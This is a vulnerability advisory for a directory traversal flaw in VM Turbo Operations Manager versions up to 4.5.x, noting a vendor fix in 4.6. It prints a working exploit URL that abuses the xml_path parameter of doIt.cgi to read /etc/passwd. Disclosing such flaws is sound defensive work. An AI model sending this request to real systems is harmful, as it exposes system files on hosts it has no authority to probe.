Product: VM Turbo Operations Manager Vendor: VM Turbo Vulnerable Version(s): 4.5.x earlier Tested Version: 4.0 Advisory Publication: April 11, 2014 Vendor Notification: April 11, 2014 Public Disclosure: May 8, 2014 Vulnerability Type: Directory Traversal Discovered and Provided: (Jamal Pecou) Security Focus ( https://www.securityfocus.com/ ) ------------------------------------------------------------------------ ----------------------- Advisory Details: A vulnerability affecting /cgi-bin/help/doIt.cgi" in VM Turbo Operations Manager allows directory traversal when the URL encoded POST input xml_path was set to ../../../../../../../../../../etc/passwd we could see the contents of this file. The following exploitation example displays the contents of /etc/passwd http://[host]/cgi-bin/help/doIt.cgi?FUNC=load_xml_file&xml_path=../../../../../../../../../../etc/passwd ------------------------------------------------------------------------ ----------------------- Solution: The vendor has released a fix for this vulnerability in version 4.6. References: [1] https://support.vmturbo.com/hc/en-us/articles/203170127-VMTurbo-Operations-Manager-v4-6-Announcement